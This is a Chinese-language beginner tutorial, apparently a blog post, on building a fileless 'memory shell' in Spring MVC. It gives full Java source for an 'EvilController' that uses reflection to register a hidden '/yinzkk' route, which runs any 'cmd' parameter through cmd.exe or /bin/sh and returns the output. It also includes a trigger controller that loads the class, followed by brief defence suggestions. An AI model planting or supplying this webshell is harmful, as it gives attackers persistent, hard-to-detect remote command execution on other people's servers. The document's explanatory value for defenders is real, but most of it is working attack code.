Spring Controller 内存马(纯新手)
字数 2631 2025-08-11 22:57:21

Spring Controller 内存马技术详解

1. 基本概念

1.1 Controller 基础

  • Controller 负责处理由 DispatcherServlet 分发的请求
  • 在 SpringMVC 中定义 Controller 的方法:
    • 使用 @Controller 标记类
    • 使用 @RequestMapping@RequestParam 等注解定义 URL 请求和方法之间的映射

1.2 核心注解

  • @Controller - 标记类为 Controller
  • @RequestMapping - 定义请求映射
  • @ResponseBody
  • @RestController
  • @GetMapping
  • @PostMapping

1.3 Bean 概念

  • Bean 是 Spring 框架的核心概念
  • 由 Spring IoC 容器负责实例化、配置、组装和管理
  • Spring 应用主要由一个个 bean 构成

1.4 ApplicationContext

  • ApplicationContext 接口代表了 IoC 容器
  • 负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间的依赖
  • 通过读取配置元数据(可以是 XML、Java 注解或 Java 代码)来获取对象信息

2. 实现思路

  1. 使用纯 Java 代码获取当前运行时上下文环境(Context)
  2. 在上下文环境中手动注册一个 Controller
  3. 在 Controller 的 RequestMapping 方法中写入 WebShell 逻辑
  4. 实现与 WebShell URL 的交互回显

3. 核心组件分析

3.1 DispatcherServlet

  • 前端控制器的设计模式实现
  • 负责将传入的 HTTP 请求定向到应用程序的其他控制器和处理程序
  • 对 request 请求进行处理

3.2 Context 层级关系

  • Spring 应用中可以有多个 Context:
    • 一个 Root Context
    • 多个 Child Context
  • Child Context 可以访问 Root Context 中的 bean
  • Root Context 无法访问 Child Context 中的 bean
  • 所有 Context 创建后都会被添加到 ServletContext 中

3.3 ContextLoaderListener

  • 用于初始化全局唯一的 Root Context (Root WebApplicationContext)
  • 这个 Root Context 会与其他 Child Context 共享其 IoC 容器

4. 获取 Context 的方法

方法一:getCurrentWebApplicationContext()

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
  • 获得 XmlWebApplicationContext 实例类型的 Root WebApplicationContext

方法二:WebApplicationContextUtils

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(
    RequestContextUtils.getWebApplicationContext(
        ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()
    ).getServletContext()
);
  • 获得 Root WebApplicationContext

方法三:RequestContextUtils

WebApplicationContext context = RequestContextUtils.getWebApplicationContext(
    ((ServletRequestAttributes)RequestContextHandler.currentRequestAttributes()).getRequest()
);
  • 通过 ServletRequest 实例获得 Child WebApplicationContext

方法四:getAttribute

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
    .getAttribute("org.springframeword.web.servlet.DispatcherServlet.CONTEXT", 0);
  • 直接从 ServletContext 属性中获取 Child WebApplicationContext

5. 注册 Controller 的核心技术

5.1 RequestMappingHandlerMapping

  • 在容器启动后将系统中所有控制器方法的请求条件(RequestInfo)和控制器方法(HandlerMethod)的对应关系注册到内存中
  • 处理 Controller 中带有 @RequestMapping 注解的方法
  • 关键方法 registerMapping:
public void registerMapping(RequestMappingInfo mapping, Object handler, Method method) {
    super.registerMapping(mapping, handler, method);
    this.updateConsumesCondition(mapping, method);
}

5.2 注册流程

  1. 获取 Context
  2. 获取 RequestMappingHandlerMapping
  3. 获取 MappingRegistry 属性
  4. 构造 RequestMappingInfo(url, condition)
  5. 调用 registry 方法注册 Controller

5.3 RequestMappingInfo

  • 封装类,对 HTTP 请求中的相关信息进行封装
  • 包含注册时需要的属性:
    • URL
    • condition (即 @RequestMapping 注解中的 method)

5.4 HandlerMethod

  • 对 Controller 处理请求方法的封装
  • 包含:
    • 方法所属的 bean
    • method 对象
    • 参数等

6. Spring MVC 初始化流程

  1. afterPropertiesSet 方法初始化 RequestMappingInfo.BuilderConfiguration
  2. 调用父类 AbstractHandlerMethodMappingafterPropertiesSet 方法
  3. 从 context 中查找注册的 Bean
  4. 循环遍历,调用 processCandidateBean(beanName) 处理对应的 bean
  5. 通过 isHandler(beanType) 判断是否需要处理
  6. 使用 detectHandlerMethods 查找 handler methods 并注册

7. 动态注册 Controller 实现

7.1 关键映射关系

  1. URL 与 RequestMappingInfo 的映射
  2. RequestMappingInfo 与 HandlerMethod 的映射

7.2 完整实现代码

package com.example.eajava_springboot.controller;

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;

public class EvilController {
    static {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
            .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        
        // 2. 通过反射获得自定义 controller 中test的Method 对象
        Method method2 = null;
        try {
            method2 = EvilController.class.getMethod("test");
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        }
        
        // 3. 定义访问 controller 的URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/yinzkk");
        
        // 4. 定义允许访问 controller 的HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        EvilController evilController = new EvilController("aaa");
        mappingHandlerMapping.registerMapping(info, evilController, method2);
    }

    public EvilController(String aaa) {}

    public void test() throws IOException {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                response.sendError(404);
            }
        }catch (Exception e){}
    }
}

7.3 触发类实现

package com.example.eajava_springboot.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@Controller
@RequestMapping("/addSpringController")
public class AddSpringController {
    @GetMapping
    public void test(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
        try {
            Class.forName("com.example.eajava_springboot.controller.EvilController");
            httpServletResponse.getWriter().println("add successfully!controller!!!");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

8. 技术要点总结

  1. Context 获取:掌握多种获取 WebApplicationContext 的方法
  2. 反射运用:通过反射获取和操作关键类和属性
  3. RequestMappingHandlerMapping:理解其在请求映射中的核心作用
  4. 动态注册机制:掌握 Controller 动态注册的完整流程
  5. 内存驻留:实现无文件、纯内存的 WebShell 驻留

9. 防御建议

  1. 监控异常的 URL 映射注册行为
  2. 限制关键类的反射调用
  3. 检查内存中异常的 Controller 实例
  4. 实施严格的权限控制和访问审计
  5. 定期进行安全扫描和代码审计
Spring Controller 内存马技术详解 1. 基本概念 1.1 Controller 基础 Controller 负责处理由 DispatcherServlet 分发的请求 在 SpringMVC 中定义 Controller 的方法: 使用 @Controller 标记类 使用 @RequestMapping 和 @RequestParam 等注解定义 URL 请求和方法之间的映射 1.2 核心注解 @Controller - 标记类为 Controller @RequestMapping - 定义请求映射 @ResponseBody @RestController @GetMapping @PostMapping 1.3 Bean 概念 Bean 是 Spring 框架的核心概念 由 Spring IoC 容器负责实例化、配置、组装和管理 Spring 应用主要由一个个 bean 构成 1.4 ApplicationContext ApplicationContext 接口代表了 IoC 容器 负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间的依赖 通过读取配置元数据(可以是 XML、Java 注解或 Java 代码)来获取对象信息 2. 实现思路 使用纯 Java 代码获取当前运行时上下文环境(Context) 在上下文环境中手动注册一个 Controller 在 Controller 的 RequestMapping 方法中写入 WebShell 逻辑 实现与 WebShell URL 的交互回显 3. 核心组件分析 3.1 DispatcherServlet 前端控制器的设计模式实现 负责将传入的 HTTP 请求定向到应用程序的其他控制器和处理程序 对 request 请求进行处理 3.2 Context 层级关系 Spring 应用中可以有多个 Context: 一个 Root Context 多个 Child Context Child Context 可以访问 Root Context 中的 bean Root Context 无法访问 Child Context 中的 bean 所有 Context 创建后都会被添加到 ServletContext 中 3.3 ContextLoaderListener 用于初始化全局唯一的 Root Context (Root WebApplicationContext) 这个 Root Context 会与其他 Child Context 共享其 IoC 容器 4. 获取 Context 的方法 方法一:getCurrentWebApplicationContext() 获得 XmlWebApplicationContext 实例类型的 Root WebApplicationContext 方法二:WebApplicationContextUtils 获得 Root WebApplicationContext 方法三:RequestContextUtils 通过 ServletRequest 实例获得 Child WebApplicationContext 方法四:getAttribute 直接从 ServletContext 属性中获取 Child WebApplicationContext 5. 注册 Controller 的核心技术 5.1 RequestMappingHandlerMapping 在容器启动后将系统中所有控制器方法的请求条件(RequestInfo)和控制器方法(HandlerMethod)的对应关系注册到内存中 处理 Controller 中带有 @RequestMapping 注解的方法 关键方法 registerMapping : 5.2 注册流程 获取 Context 获取 RequestMappingHandlerMapping 获取 MappingRegistry 属性 构造 RequestMappingInfo(url, condition) 调用 registry 方法注册 Controller 5.3 RequestMappingInfo 封装类,对 HTTP 请求中的相关信息进行封装 包含注册时需要的属性: URL condition (即 @RequestMapping 注解中的 method) 5.4 HandlerMethod 对 Controller 处理请求方法的封装 包含: 方法所属的 bean method 对象 参数等 6. Spring MVC 初始化流程 afterPropertiesSet 方法初始化 RequestMappingInfo.BuilderConfiguration 调用父类 AbstractHandlerMethodMapping 的 afterPropertiesSet 方法 从 context 中查找注册的 Bean 循环遍历,调用 processCandidateBean(beanName) 处理对应的 bean 通过 isHandler(beanType) 判断是否需要处理 使用 detectHandlerMethods 查找 handler methods 并注册 7. 动态注册 Controller 实现 7.1 关键映射关系 URL 与 RequestMappingInfo 的映射 RequestMappingInfo 与 HandlerMethod 的映射 7.2 完整实现代码 7.3 触发类实现 8. 技术要点总结 Context 获取 :掌握多种获取 WebApplicationContext 的方法 反射运用 :通过反射获取和操作关键类和属性 RequestMappingHandlerMapping :理解其在请求映射中的核心作用 动态注册机制 :掌握 Controller 动态注册的完整流程 内存驻留 :实现无文件、纯内存的 WebShell 驻留 9. 防御建议 监控异常的 URL 映射注册行为 限制关键类的反射调用 检查内存中异常的 Controller 实例 实施严格的权限控制和访问审计 定期进行安全扫描和代码审计